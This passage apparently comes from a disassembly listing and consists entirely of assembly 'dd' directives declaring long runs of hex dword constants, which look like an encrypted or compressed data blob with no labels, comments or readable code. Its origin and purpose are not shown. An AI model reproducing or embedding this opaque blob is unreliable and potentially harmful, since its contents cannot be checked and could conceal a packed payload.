0AD8870C7h dd 0A2E78DEDh, 3BE9056Dh, 0D4F75104h, 0B22DE207h, 0E36CF500h dd 436DEDBEh, 0C487F40Ch, 0E9D7C547h, 0BCFC4565h, 0A8ABD7F5h dd 0D734943Ah, 0EF84A8C7h, 0D79B6DA8h, 0A5AF5C47h, 0FD83202Dh dd 0FCE705F4h, 0E7F06530h, 65A7DD2Ch, 6D79A2A3h, 0E7DAB698h dd 0AD324DE0h, 0AB50B62Dh, 88DEC471h, 516EE2D7h, 42ADFE04h dd 6F612C61h, 0F7712D4Eh, 0D184CC06h, 6F7F3ADh, 0ADD1C5C0h dd 4D61E795h, 25ED97E0h, 0C467B0D7h, 0C7CB77FBh, 78315965h dd 92C7D4ADh, 7FE8C7E4h, 0E8BFF752h, 1FFFC705h, 0C56375A1h dd 0E7B16DEEh, 0CFC769A5h, 0D1C787F2h, 0ADED4643h, 516D436Dh dd 1B6DADE1h, 6F605741h, 73443F5Fh, 0C7467D6Bh, 75A5E5C7h dd 0ED88EBCDh, 7561E707h, 976DE0C5h, 457DA2E7h, 0C7B42DD3h dd 0B22EF0F0h, 2EE7B677h, 0EDF40475h, 6D67D783h, 0DB2DF4C6h dd 47C90CC7h, 0B352C7C7h, 0E3476D6Bh, 8CF7F903h, 2DCC84E6h dd 7047D789h, 0EBEDEB04h, 471A391h, 0D7D5FECCh, 0DD057B15h dd 0C7C7E56Dh, 0F4F70540h, 61E5D77Ah, 0D6D9A81h, 0AA0727D7h dd 0B32DED85h, 0E78451A5h, 29419AFCh, 34DC8669h, 18082325h dd 0BC47BD7Fh, 2FC05840h, 70BEDCA3h, 0E68775A2h, 25D7D56Dh dd 0E4A2A124h, 41ADA1A1h, 0C53F9C8Dh, 8465A0C7h, 0E7C576F1h dd 0F304A46Ah, 22F70738h, 0B1CEC675h, 79EDF7E0h, 59FED346h dd 2F452541h, 0E0A93965h, 0BC157522h, 252D15ADh, 89AC736Dh dd 1F21D7F8h, 81EDC805h, 0C560F061h, 430AADE3h, 0E08680E9h dd 6BF2CB2Dh, 0FCE78645h, 643F61AAh, 0AABBF547h, 6371A571h dd 7D356D90h, 0E687F4BFh, 20C7F887h, 7443384Dh, 0F08183DBh dd 56DA563h, 473012EEh, 6142FCE7h, 0F545796Ch, 61F7B4C6h dd 6DE6447Dh, 0FCCAC7EBh, 0F5ADE5C5h, 4F05DF7h, 0D72F2DD6h dd 8CABD48Dh, 0F5C7452Dh, 5E51CF58h, 796B5303h, 0C5ADECC5h dd 0C5302ED7h, 0F79801E1h, 0FB460069h, 0A4EEC9ADh, 76B14D88h dd 0E41DF7C3h, 0E1FE8F7Bh, 855B86E7h, 603F79E6h, 0F4C5756Ch dd 0A1F754ADh, 0EDD50765h, 5DEE31B2h, 6D6D89AFh, 0C5F8FD43h dd 8AA579E6h, 9363B36Ah, 0F0A3DB2Dh, 2D887B4Ch, 62C2A3DBh dd 243682D1h, 0C541A2A5h, 613DADC3h, 0EC447DAEh, 3E90196Dh dd 0B0BAB094h, 716B3BE6h, 0B481DF46h, 4ED0CE8Ah, 0A03BED37h dd 0D0C5B8C6h, 84E78307h, 6DD2C598h, 796B91A6h, 0E678E306h dd 4659A2B3h, 0C751EDD6h, 0E085B3BDh, 22D7516Dh, 0ADD98561h dd 69E921C7h, 18EDEE04h, 0C76968E7h, 0D7E52DF7h, 0CC864DAAh dd 0A2F78481h, 6DEEC675h, 4D6DD7D3h, 0ECADD006h, 0F80AD30h dd 0E7A7AD98h, 0F685E159h, 0AAD7D434h, 0EFCAA61h, 49E9D707h dd 0B22DE2C5h, 47D4F851h, 0D78834D5h, 77E141A9h, 0E9607EF4h dd 0AD9AE159h, 0BBBBD764h, 0CBF4863Dh, 846D6CF7h, 0D730ADF5h dd 0BEEC59E0h, 0E9B1A334h, 0B7C30565h, 516DF7ABh, 0A6DE984h dd 0C5E858BCh, 0C7C731DAh, 0CEC45D25h, 2DF7D62Dh, 0D6C771h dd 7DA9C72Fh, 657EE8C4h, 0EEA788C7h, 0D7E3AD91h, 0E5C65D6Dh dd 0E6E7AB6Dh, 7FAAAC51h, 8C7AC7A6h, 5476B0AFh, 565E5F7h dd 2324ADE5h, 0C587D44Eh, 0AAD78434h, 4023695Dh, 0A0FA11C6h dd 0AEF8B2F6h, 85756BD7h, 58FEB0DEh, 0EC464967h, 0E5803BEDh dd 0EDEE0475h, 5DE7A220h, 7478491h, 4745A2F7h, 0E7B8EDCEh dd 9DBF692Fh, 25A03B6Dh, 0EDF10471h, 51AEF71Ah, 70337F42h dd 456563C7h, 0E7892DCDh, 0A1D7756Ah, 43E7E62Dh, 6DEE47D4h dd 12CFE78Ah, 0C9ADE8C7h, 75D6BE7h, 0A03B7BC9h, 0D1844165h dd 0A562F8ADh, 0ADB22355h, 75E6600Ch, 0E22D8D5Fh, 2F070F71h dd 0C7F834BAh, 0B42F4561h, 0A1E77A36h, 0F694DD79h, 0D4F4F7CAh dd 0C630DFC7h, 0B08C97F7h, 719BEDA6h, 0C8C645ADh, 0E1F7DD0Eh dd 0ADA6E169h, 69E1D7B3h, 84AD9BC9h, 0E038E01h, 0E7867398h dd 0F84687D5h, 227CCEADh, 0B1F4C755h, 49A9D7B8h, 0FFEDEA46h dd 0ABB00B41h, 0E77403B0h, 0E484000Fh, 49C7E4F8h, 4BC3BF9Ch dd 0A548C767h, 7737D747h, 4765A270h, 0C7782DCDh, 80D775E9h dd 603033ADh, 849A3F71h, 49ADA11Bh, 0FAB4EF86h, 84180FE7h dd 0A11FADFBh, 511275E8h, 6BE7336Dh, 2DC0455Dh, 71EDB19Bh dd 652DF1C6h, 0C66969B3h, 0D75B2DF2h, 0DCC4B895h, 0A320242Dh dd 6D959B4Dh, 4DEA3243h, 432D9F9Bh, 9B7D6622h, 0D71BEDBCh dd 0D9468495h, 0A46D6D2Dh, 2D9622B0h, 69252E08h, 9FB1D4C6h dd 0C4D716C7h, 2176EDC1h, 0D6C55561h, 66D758EDh, 2DD0C555h dd 748CF7FBh, 74EDFB04h, 65DEDD7h, 0F779EDC8h, 0B66C7DEAh dd 0A7E779EDh, 0ED816C7Dh, 4524D738h, 0C2DE746h, 0C545E16Dh dd 432FEDE8h, 91227120h, 981D6A6Dh, 47F00494h, 5D65E7F7h dd 852DE684h, 7556AF7h, 0C779FFCEh, 0AFE15DA4h, 0A293A12Dh dd 2DCDC55Dh, 8EDAF701h, 0DFF46936h, 6165ADF7h, 0BF2CED33h dd 0C9C749A0h, 4CD7B12Dh, 6DE8C5D4h, 5DE5F7F7h, 0E5F5A5E1h dd 0C54521B3h, 0D7A7ADD2h, 0FAC4416Dh, 0A5E708F6h, 2DCEC461h dd 49A0C7F0h, 952DF5C7h, 0C5456AC7h, 0F707ADF2h, 93A06162h dd 0BBE7596Dh, 34C204F8h, 59A220FAh, 65ADCFC5h, 6D010F7h dd 0E7B06DEDh, 9BB1792Ah, 60E7E52Dh, 0EDEF4649h, 452AA1F9h dd 9AB4933Eh, 0C465E5E7h, 0D7A5ADCFh, 0F804612Ah, 0A5E7B973h dd 0EDAB3F5Dh, 444AF7B1h, 0DF74A22Eh, 0D979A4C7h, 0D7E2F19Fh dd 0F6C56C0Dh, 0A1B17172h, 0EDC6C55Dh, 7DE4E7B4h, 0A4B4BD63h dd 0C4FCC340h, 0F730EDD9h, 0E00588B9h, 60E7F0EDh, 0AD869A49h dd 9885E72Bh, 0EE74D384h, 54566F7h, 0C7F3ADD0h, 0E105F4BEh dd 79D7E23Ch, 74D98544h, 65ADE7F4h, 9AEDB5C2h, 3241AA71h dd 0E778349Ch, 0CB464526h, 0F5E7F4ADh, 7493E9F0h, 0D5F8C7E9h dd 92ADAD23h, 4271E88Bh dd 62A12D09h, 8962C4FAh, 0E9E7DFEDh, 6D1D4271h, 0E7FAA39Ch dd 0F574D9C4h, 85DF38F7h, 0D7633CE1h, 0C7857C79h, 0BBF78234h dd 0ADA1237Ch, 0DC72E7AEh, 6D6D6A6Ah, 2355E06Bh, 0AD0AADB5h dd 0BDC27524h, 6EE7ABEDh, 46DB0775h, 6DE5839Dh, 0DFF4E5C4h dd 44C4FB81h, 0E0B9CFC7h, 4F6D6DE3h, 271254B4h, 2D55E079h dd 7521C707h, 0A6EDDE44h, 575A1E7h, 312BF4E2h, 858161AFh dd 69C72B70h, 0EDCA0475h, 55E1F707h, 0A72DDA45h, 0C66D66D7h dd 0D765ADD1h, 0A423712Ah, 8FA191ADh, 5F812276h, 568F61AFh dd 0C72DDAC4h, 47E3C3F7h, 0C78747EBh, 0E84475A1h, 9F11A0Fh dd 0ADF50543h, 4DA2E7EEh, 0CDB6DAC5h, 5F54851h, 0C7E807C1h dd 0D584E548h, 0E66DDCEDh, 0ADF5AE4Dh, 648BB0C7h, 5C1FFFC4h dd 0C7E48941h, 534387C4h, 0F40541E4h, 354016EDh, 0EDD606E4h dd 61A593D5h, 0B82DCD84h, 220EDD7h, 81E6AD81h, 0CDC55563h dd 2CF7D9ADh, 2D8D6C4Dh, 7DEBC77Ah, 0C7B6A762h, 4D69AB00h dd 0E7DA768Fh, 0C345EC51h, 0AB217F3Ch, 0ADE8C769h, 452AD7DAh dd 32EDEC46h, 46C4D36Ch, 33376DF1h, 0F64644D1h, 603247ADh dd 0B9E9C669h, 0EC43C781h, 0D6EDE1C6h, 5712261h, 5293F4E2h dd 0D884A4E1h, 0A0C7CBB6h, 0EDA8CB41h, 412A1D04h, 0DC2DF346h dd 0C47406C7h, 0D7E4EDC1h, 0F584F4F7h, 0B5D7EBEDh, 0EDB161E8h dd 69E91D17h, 0D3B9EE84h, 6C4DECE7h, 0D7A82D9Ah, 9833DB9Dh dd 9CE7C9B6h, 6DA0EF78h, 41A2F758h, 0AFADCDC4h, 83C4F520h dd 0F7A0ED8Eh, 95EADF8Dh, 27F7F834h, 4E9A2B79h, 0B88F01BAh dd 0D07487E1h, 0C47DA991h, 0E77456CCh, 812853DEh, 0ED13C56Dh dd 0EDE1C45Dh, 49A50172h, 7FEDED46h, 287DE4E7h, 51EC36A0h dd 9D2851E0h, 6D130BADh, 0ADFBC67Dh, 0E4D1F733h, 0E5ADCD85h dd 0C8792CC7h, 0C79D6DBCh, 9FF44006h, 0CCC7187Ch, 84E2C5D4h dd 75A7E774h, 5DEDA2C2h, 75DECA1h, 0D7EECEDFh, 0EFC7AEE1h dd 0A18D9191h, 91EF0434h, 0BEE1D7EAh, 0F491EF44h, 8486E1D7h dd 0D7F791EFh, 0EFC48EE1h, 26F7F091h, 81606B4Dh, 8F61C7ABh dd 0DFEDE844h, 4B65A8D7h, 0F787ADBCh, 0D3065522h, 10D7FD74h dd 0EDB6C274h, 0D417610Ch, 45EDA123h, 85A26CC7h, 1F7D81EFh dd 6AAA75EDh, 6FF74CB6h, 2D9936BBh, 0D8C85EC6h, 0D42D85A8h dd 6F7921B3h, 0D7FBED9Ch, 0AD70ECCBh, 0EA73CDADh, 39902EACh dd 206A4118h, 643990E9h, 0A9246A01h, 1A03990h, 0E3C4C431h dd 0D7C78737h, 7FAAA24Bh, 6526B0C4h, 17ED6E09h, 43CA183h dd 0EA17B6C1h, 928161E7h, 2EF741B7h, 2D8D4D69h, 7DEBE748h dd 4B7EA662h, 5730E691h, 0F71DAD8Bh, 6AB0FF52h, 30F77DB6h dd 0F3728B86h, 69E71186h, 0A87C476Bh, 62EE9901h, 3AB6DBCh dd 80B5163h, 2D812F16h, 7C87C849h, 496BE7E7h, 5C2DD886h dd 23E4FDA1h, 0E7FFADB2h, 985549A1h, 24D7CAB6h, 6DE00687h dd 49631186h, 0DDEDD0C7h, 44445ED7h, 0D22FEDDDh, 0F30659A0h dd 27E7FF2Dh, 6D46F241h, 509CE7CEh, 91ED85D2h, 0D2D359AEh dd 9E91EDBDh, 0A6F2D31Bh, 59E7AA6Dh, 6DC6C5E7h, 45A23D01h dd 0FE6DC445h, 526C5ED7h, 0C7F96D44h, 446A9B85h, 5ED7F86Dh dd 0EDE0C678h, 6922BC50h, 1FBE2C5h, 4579632Dh, 8C09EDE1h dd 86CB8BB8h, 0A22D046Dh, 74DFC461h, 79A11F51h, 4B2DCD84h dd 0AA55E4C7h, 0C72FADD1h, 0FF6ADD9Bh, 6D3B18EDh, 74EE045Dh dd 825C464h, 24F2C8C7h, 6596BE7h, 81C5F8DDh, 0A6014C02h dd 0A7E7DE6Dh, 0ADED4761h, 5CB5D7A9h, 0E0F49B20h, 47616EF7h dd 0C795C6C6h, 0EAC559A0h, 0B1D7216Dh, 0EDA4AF6Ch, 0C45D9334h dd 0C773C085h, 474F4F7h, 0B17EADD6h, 0E4454960h, 20F7F82Dh dd 0ADD1C445h, 45EDD776h, 0F8EDE046h, 0FE6966C7h, 5C54ED8Eh dd 0A0A061E4h, 0F7E7A86Dh, 0EDAD76C3h, 0C043C702h, 0A16DF846h dd 86942883h, 6E1DEDE6h, 0E2C49608h, 0E56253BCh, 6D42BE5Dh dd 516DB334h, 9B2DF9C4h, 3E7DE674h, 0F22F2D19h, 0E7C7556Bh dd 0A40860E2h, 234D1E7Dh, 0AB54E7DBh, 0DF43CBC5h, 47564F7h dd 4015EDD0h, 0BFFE69A7h, 0ADA1B1EDh, 0BCE28461h, 7DAE6211h dd 7CCA1C3Eh, 41A617E7h, 0C71FEDA5h, 0B5215DA9h, 6BE793EDh dd 0EDFD8651h, 45ECD79Fh, 0B4F9C5B8h, 865165E7h, 0D7E6BECFh dd 0F885A4E6h, 0ABE7B22Dh, 74B1FB7Dh, 5520F1D2h, 92ADF546h dd 5E7DA5C7h, 81E576A1h, 0D806B41Dh, 5DE7C5B6h, 2DCC8440h dd 0A517E7F3h, 0C52D8CE1h, 740F4F7h, 429F2DCFh, 9B7FB0CFh dd 0CC83A16Dh, 0FCF447D8h, 79EFC7AEh, 54AD7A3Fh, 475A560h dd 0CD3ADEFh, 0D8459391h, 0C8729FEDh, 23D38517h, 4D294212h dd 55CA327Eh, 6A64BC7h, 0D780C4E6h, 6E788ECBh, 24C71FDCh dd 0F4E57E7Dh, 0DFF7C7DFh, 275AF9C5h, 0FB65EBA3h, 24C162EDh dd 0D77BAB5Ch, 88E7B33Eh, 0FCED878Ch, 55E1E7DFh, 142D9AEBh dd 456DE5E7h, 0C74742D3h, 0A741A94Bh, 9BD71FB7h, 33E605BFh dd 0DCFCE76Fh, 0E674F585h, 47161E7h, 0A327ADD6h, 4D616D68h dd 0B104FAEDh, 2D8EC0D0h, 6475D72Dh, 0E1C4C786h, 0C64475D7h dd 0D724C4C7h, 0E7C66475h, 248DB6A4h, 0BC75C045h, 0EBDEB320h dd 3DA4FEA0h, 0C549A2BBh, 0D7892DCDh, 442069AAh, 0A1BD1DEDh dd 34F00675h, 0DCD3D707h, 0D2DCD84h, 206928E7h, 2DB52DACh dd 0BDC375E4h, 9043A031h, 76EF46F4h, 59A30330h, 95EDCDC5h dd 46F475D7h, 91D404C7h, 0C4C4A47Fh, 0E8F7BCB0h, 868E48A8h dd 4884F78Bh, 41ED05FFh, 2BFC4654h, 6173BEBAh, 0E0C7456Bh dd 0E0D7DEADh, 0ADFD8755h, 7169E707h, 0B5F4ED05h, 8751E0A0h dd 0D7736DF9h, 0D1866167h, 0E0F722ADh, 0F7DE8751h, 45EFC726h dd 0B36DAC56h, 84716DB1h, 20A42DD5h, 0C70745AAh, 0A073C504h dd 0AD7E6C69h, 45A7F705h, 5B6DF0C7h, 0C7F40CA2h, 0F75847FAh dd 0FF4679A1h, 6BE73232h, 0BEF94471h, 4DA00319h, 0DEB4B0ADh dd 67DE6D7h, 0E774ADF5h, 0E1855563h, 0A6F7877Ch, 2D4DAF5Dh dd 7569D752h, 0E62DA14Dh, 52432F7h, 0D7DFF7EAh, 0E4C6616Dh dd 65E7DB2Dh, 2DC5C769h, 41E9F726h, 7EDF106h, 0C769E8E7h dd 21AE2DCFh, 92C184E6h, 64D7532Dh, 2DD2866Dh, 61E7D751h dd 0DFEDE686h, 0C4EFCA4Dh, 0F7DD77EDh, 0E2C57DA2h, 55D8C37h dd 2D8D2D48h, 6968D74Dh, 0E3F18120h, 84600151h, 4132ADF4h dd 9BD02861h, 0B3E7C476h, 0EDFA4644h, 0C745E737h, 0D436C7C5h dd 0C5DCB131h, 0F77CADF4h, 0DA0665A7h, 77C77CADh, 0ADF40498h dd 7524E792h, 0B0ADD045h, 86696BE7h, 91E7ADECh, 0DB8440B3h dd 5DD7AEADh, 0ADDBC5ECh, 0E850F763h, 2DADD0C5h, 846896F7h dd 23B7F6C5h, 0ED445092h, 0A9638DADh, 77922361h, 716BE731h dd 29ADEF86h, 447D6B1Bh, 0F7D286C6h, 0E10565A5h, 3151717Ch dd 0EDC184D4h, 4CB18134h, 0E7AD4F68h, 0C4616BD7h, 0E7352DCDh dd 9DA064D0h, 450DA82Dh, 0ADFC06C4h, 596BF753h, 0D42D93A6h dd 44DA1E7h, 33FBEDEBh, 540855ECh, 0E7010576h, 2DE6067Dh dd 51A2F7EDh, 317ECA46h, 0ABC5DCE7h, 0E777F1F1h, 0FC8557D2h dd 5735ADE6h, 0C6C8C744h, 0CD12E7F6h, 77A6E729h, 0A865E52Fh dd 25FDA6FDh, 0BF225F53h, 0D2F7346Dh, 0EDA728C1h, 0D59D25FAh dd 6A66F1EBh, 4671CD2h, 25CFBED5h, 1B0BC5DEh, 992D8C6Dh dd 66F4EAD5h, 0F8DBDAFEh, 1F89E604h, 0C765EF3Fh, 0A13C7FFAh dd 0FB85F44Eh, 6EA029ADh, 0FCFFC565h, 49A5C71Fh, 0BA2DE305h dd 0C749A5D7h, 0E70D2DE3h dd 0E1448FA9h, 2490A8EDh, 96F4C551h, 71E3E70Dh, 62FBE5C7h dd 6CA4EBC7h, 0ECD4ED90h, 0C2C57D6Bh, 0A5FE1E21h, 0EDFF444Dh dd 0A84DC7F3h, 8B2DF705h, 4075ECE7h, 0F7A42D8Eh, 6C7659EFh dd 0E5C7E66Dh, 2DE4C769h, 61EDD7EDh, 9B6DA4B0h, 49743D7h dd 0F7292DCFh, 0C5074D69h, 6D93FC6Dh, 37F90661h, 6124519Dh dd 0A42DDBC6h, 5756DD7h, 0E7FD6DD0h, 0A86071ADh, 0E9E7E46Dh dd 0EDE1C749h, 3486D744h, 2580D904h, 0C54DEDD7h, 0E755F7C0h dd 0E4C461E7h, 0E5E75B6Dh, 0F8CB057Dh, 0E046D791h, 0C32D8DB1h dd 0E145A5C7h, 0E7AA6DA5h, 513241ACh, 6BF7A4ADh, 0BEF5C459h dd 75A1616Ah, 0A0EDE145h, 4ACCF8Eh, 11B4EDF2h, 926071A6h dd 0ED7E1ADh, 0EDA0AE9Ch, 65E9E705h, 9D31C185h, 844084F7h dd 0A0832DE6h, 0C48465E7h, 82F7E9B4h, 0B67C1018h, 4922F7E0h dd 5548FCC5h, 0D3273CD7h, 848C3785h, 0EBF3BD32h, 68844060h dd 0B4C473E4h, 0A97FD7EEh, 0B31C133h, 0F22BFAF7h, 1BA218DFh dd 0F105716Dh, 0A092F82Dh, 0ADD8C749h, 4D6DC7E6h, 0EA2DBE2Dh dd 0EF71E3F7h, 61842D9Dh, 997C7D2Ah, 0A2E779EDh, 0EDD9C559h dd 0CC73C738h, 8B3CC785h, 414DE5F7h, 0C7E62D8Eh, 0EBC7A8F6h dd 6BD7A52Dh, 6DDCC545h, 9F0FC7A7h, 21EDE7C6h, 4641E180h dd 5C022DF2h, 0BF7F49E8h, 2E4DC12Dh, 0B6FCC665h, 6122D7F0h dd 7DADD104h, 458889C7h, 0C734ADD1h, 0DA0587D1h, 42C766B3h dd 6DB49EE8h, 5966B3E7h, 48B48F3Dh, 6D4755Ch, 0F70504C7h dd 0CC456569h, 0CCC7002Dh, 0ADD104B2h, 65697442h, 52DCC85h dd 67C75E7h, 0F7F52DE4h, 0C04465A2h, 6BD7F573h, 33E40441h dd 7DA2F765h, 9D6DE684h, 0C7692AC7h, 0F7DA2DC3h, 0E4C5AC8Fh dd 5EC7566Dh, 0ADC6468Bh, 61E4E0D1h, 0B82DAD88h, 0C54926E7h dd 0D71F2DEDh, 0C7468409h, 0A1C7F8ADh, 0ED8EA365h, 7565503Ah dd 3AEDF704h, 471A540h, 0F758EDC3h, 84AE7DA9h, 69F785EDh dd 0ADE5C565h, 71A65328h, 0B82D9DBFh, 0E149A4E7h, 0BD5D2D9Dh dd 0DA467DEDh, 0F2D70A2Dh, 0FAA823ECh, 88F49031h, 61EDFF46h dd 0D9792904h, 2CE5ED6Eh, 0BED9716Bh, 86F7343Bh, 2DE6058Ch dd 6D24817Fh, 0CCAD8D0Fh, 658FBC7h, 0E7B1B4EBh, 0CDC58490h dd 0CBD76C2Dh, 0BE966C10h, 5169D72Bh, 0D5F2C004h, 0E0B057E7h dd 0F71AEDB1h, 0BDF641A5h, 25E7F9BFh, 0ADFDC741h, 456DF7E4h dd 0E7B2DC85h, 859452F7h, 0E7F76DECh, 0FC8459E4h, 63215DC6h dd 0C7FB0545h, 69A8D7E8h, 29F39220h, 0C7412AD7h, 0C7DCADD8h dd 0CDC56163h, 68C7922Dh, 0FB9B5365h, 716D714Ah, 2B2DC504h dd 0C51B6AF7h, 0E7D56DE8h, 68915475h, 66D7C9B0h, 0ADD1C669h dd 65AAC7F1h, 5EDE9C4h, 0C469A2F7h, 0D75A6DE6h, 0E885F850h dd 0E4808832h, 0ADE3C751h, 69E59203h, 3EB4427Bh, 3B45EC40h dd 0E7E82DDAh, 0CD847DEEh, 2AF7CB2Dh, 0ADBC5365h, 0BB99140Bh dd 99ADB5A3h, 1A75EA10h, 0F71FAD63h, 0DDC7496Ch, 0E3F71F2Dh dd 2DC3C661h, 4563C765h, 95F7F605h, 0C74835E7h, 0AEA2EDE8h dd 0DEC55DA5h, 99E0505Ah, 0ADCDC4B4h, 6125D7CDh, 0DF78804Fh dd 56527F7h, 9166F4DFh, 5041C8B3h, 1BC721ADh, 2DCDC5BCh dd 55EED784h, 0E2D0B9C1h, 4649A5C7h, 0A3E9EDFDh, 8EE3B1BFh dd 55E7EAD4h, 0ED9EBBD0h, 804AF71Bh, 3BADFAC7h, 38452010h dd 10C5ADBAh, 0B9205924h, 21D705EDh, 0F7C08565h, 0A88A5335h dd 146DAE42h, 447D6BE7h, 43F62DF3h, 47BB9CC6h, 0FFE793EDh dd 0AD917D8Fh, 7D2A1180h, 8C36C604h, 8861E6F7h, 0F779AD51h dd 0D5065DEDh, 0A2B3186Dh, 0ED6E7845h, 69E8A1D5h, 2BAD7BE2h dd 44BED263h, 0E7742DD2h, 0E4C55525h, 21F7B8EDh, 0ADF28469h dd 7126E786h, 532DE1C7h, 559ED93h, 0C70BEDE5h, 0C504B3CBh dd 0A901BBEDh, 47D6C665h, 5DA5104Ch, 0E032B2E0h, 0C56D63C7h dd 0D7746DECh, 0FDC5FCBDh, 127167ADh, 0EDE1C4BCh, 4925F71Fh dd 87EDDAC7h, 0E37922C7h, 0C787ED9Bh, 0BBAD6D20h, 0A3C7E4ADh dd 0ADEBC761h, 59E4B06Dh, 3334ED84h, 9161E1E7h, 0E705B88Ch dd 92F36D22h, 3FC76DB0h, 2DD3C5D7h, 6525F774h, 60ADD185h dd 84C875E7h, 0C7C57FEAh, 0CBC551A3h, 0A3C7052Dh, 0F4DE8545h dd 0FC76D76Ch, 0F4EDED44h, 43DCC6A1h, 0A1E7AD72h, 0DFC47D6Ah dd 3EB0B1FCh, 32E805D4h, 9072E7A5h, 60AD90DAh, 0B3D045E7h dd 918CBF8Ch, 0FD46C4F4h, 6653BF2Dh, 0F4EBC679h, 4524E7F8h dd 0BF2DA9E1h, 40416073h, 0C7C12D95h, 0BF8EF033h, 68E7A0B0h dd 0FCB68F51h, 452A50FCh, 0BFED8AE1h, 93BC6853h, 0C784F495h dd 0BABEABB1h, 35F784EDh, 0B7E4C7D0h, 45A1E754h, 0E6FFDCC7h dd 4645A0D7h, 0E71E2DCAh, 0EDC76835h, 0F30622Dh, 72E2C6E4h dd 45252007h, 0C1ADED44h, 8675283Ch, 0F707F4E9h, 0DEC54520h dd 21E7A2EDh, 0AD960F59h, 696DD7FFh, 1C7FDDC6h, 2ECF0E83h dd 0E786F898h, 0BDE665A6h, 0A5D707F4h, 0ADE1067Dh, 75A5E7E9h dd 0DBADAD2Ch, 0AF71ADB1h, 0E7BC6D66h, 0B761592Ah, 7AE7E6DEh dd 0BAE945D4h, 75A171E5h, 262DCE46h, 47D6BE7h, 0E7143FF0h dd 0C7C541E5h, 0ABE7B643h, 0B73EA365h, 609683C3h, 0DB3FCA45h dd 0AF71ABB1h, 0E776B04Eh, 0B0D5ED16h, 0E7E7053Fh, 37BF2149h dd 556DC7DFh, 754884Eh, 47C438D7h, 0E7A2F4E1h, 0D1C5456Fh dd 0FED7A3ADh, 0ADA2B8CCh, 0F035E789h, 0E6AD836Dh, 649AAD7h dd 51E534EDh, 0B1CDC8B2h, 4771E9F7h, 7EA60D18h, 61ED20FDh dd 28EDE646h, 641ED60h, 0C76BB7DCh, 0ED4741A3h, 0A661F8EDh dd 0B781EB69h, 4926C707h, 942DDD45h, 45792241h, 0A1BFADF2h dd 0F7057CBEh, 252D1CEDh, 0AD90EF55h, 74DDD726h, 0BB2DE5C7h dd 0E94525D7h, 61672D98h, 0E2464925h, 87D705EDh, 2DAE71FCh dd 7520D71Ah, 0ABB7B7CAh, 84DC0571h, 0F73337DFh, 0BDE1C63Fh dd 7E13A96Dh, 37BF2CFFh, 64C141E9h, 9B3E0C4h, 0D4696E8Dh dd 0E718ADBCh, 0D6854968h, 695D69FFh, 0ADFD4484h, 692D6D1Ch dd 37AF386h, 86D4722Ch, 2CC07CC0h, 0CC04D0C5h, 0ED388962h dd 2E53B45h, 55A2E714h, 70CCE484h, 56CB5D7h, 0BDE62DDFh dd 0F0C70083h, 0A3E7DAADh, 0ADEDC789h, 0B43661B5h, 0ABEDCA04h dd 0C545A0F7h, 0D7A1ADD0h, 0D444FC36h, 519CF1C6h, 0EDBC09BCh dd 7922F7ABh, 17EDB1B7h, 21982452h, 0DA82ADAEh, 0E0C580B0h dd 0E0E7D2ADh, 0F475C810h, 0C80FC744h, 9FB1F3C7h, 85D87524h dd 41A889DFh, 9E8AFBFCh, 8DE0CEF4h, 0AD9129FCh, 0D4D0C725h dd 0AAB6E886h, 63FCCBC2h, 0C7902DA2h, 8143F37Fh, 0E91DA9EDh dd 2DE9C655h, 0AFF48061h, 70026B1h, 457521E7h, 605FEDF5h dd 0D0C514B7h, 0FDE7A7ADh, 2DC406BBh, 0E8FAD755h, 7F0D184h dd 716568E7h, 0E7FC2D52h, 0E68575A7h, 9EB8AAEDh, 0ADFE86E8h dd 0C4748268h, 1CADDD44h, 866D236Dh, 0F7AB42F3h, 0FFC65524h dd 66E7B83Ch, 0ADF68469h, 7DA1C031h, 0F9ADCD84h, 44448BD7h dd 916BF5E5h, 81604DE0h, 0A26F82ADh, 0ED90E379h, 716B9CFCh dd 0FE57C185h, 6F6D6261h, 0E7A42DA2h, 0F7C5AFB3h, 22C7E04Bh dd 6DEE8549h, 6DA4E7B6h, 0B7EDB5A8h, 854566E7h, 0F7F570E6h dd 0D304B093h, 0FC608C2Dh, 3083AECCh, 0A013C7A5h, 0FE80C147h dd 7C59E541h, 53372DB9h, 0B1F2CCF6h, 946C322Dh, 0B796FC80h dd 0B7E1A16Bh, 0D7F3DE86h, 0C694BBC7h, 0F7ED70C7h, 0F147A050h dd 0B7C7F36Dh, 34D2C470h, 0B42F807Bh, 4D34AD98h, 0C559A7A0h dd 0F7D56DF0h, 0E0C5752Dh dd 737C8D2Dh, 0B48F22FCh, 4833F7ECh, 0B02DD5C7h, 549E8E0h dd 0A0572DD6h, 0BBCC496Eh, 0A640A75Bh, 0EDA62155h, 0B4A901E7h dd 0E62DE984h, 44716DB1h, 0E7072DCDh, 0B40971A9h, 64D71F44h dd 74848275h, 716B60AAh, 12ADED84h, 727D6892h, 0A14D8BA6h dd 0B5B661A8h, 0ABA04D2Dh, 0EDF90471h, 0E036526Eh, 696DD984h dd 44A7F829h, 0E7D7CBC1h, 0DB84BF05h, 3A213471h, 0E3B46333h dd 0BC79834Bh, 7F7CF246h, 0C5968D80h, 983BBAFDh, 9E52E8F4h dd 169057B4h, 0ADA01FD8h, 75A5E7A6h, 4DEDC804h, 5D6124A0h dd 0F72B7CB2h, 0AAFE4D22h, 0BCD70E6Dh, 0EDB9375Ch, 7164E04Ah dd 9F63C87Fh, 8379ACE7h, 0BC42FB82h, 0D4059845h, 9AF744DBh dd 2DC53DC8h, 0BA0164F4h, 70F9C3C7h, 0BC1BD47Ch, 60522DC5h dd 0A621180Ah, 0D6C70B6Dh, 0F491B47Bh, 9487D7F5h, 30C3E9C6h dd 46A42EC7h, 748E63C0h, 0CF4520FDh, 0B942D7B0h, 2D8E70CCh dd 0A648C764h, 21385FB8h, 0BD79A262h, 0A04D2D5Dh, 0EC047529h dd 0DC32B1EDh, 0FCE947D0h, 5569A04Dh, 0DF2D41FBh, 0BB6966F7h dd 0C79F747Fh, 0BD72FF41h, 20F2F52Dh, 70C7C675h, 0B4FAE000h dd 0E708D6C7h, 12B53BE7h, 0F7DF7B49h, 0E6C47569h, 0E921A8BCh dd 0ED623755h, 616BB1D7h, 1800E845h, 469C7980h, 0E7864BC5h dd 0DB84A07Fh, 24CE138h, 36BF9AE8h, 45A17161h, 0D0FCD686h dd 9D277AF7h, 0D7FF538Eh, 0B99DCB8Fh, 0EF4C222Dh, 30838379h dd 6C6F7DAh, 6B2DEF84h, 20452A68h, 0F7706D99h, 0ED46C4BBh dd 0D2E7C96Dh, 2D8EAA48h, 0AE0162E5h, 8BFCC84h, 0A3E00F01h dd 0D7B8B45Eh, 9CE151E7h, 6EC73031h, 2D5D7B6Dh, 71E6B33Bh dd 71BCA440h, 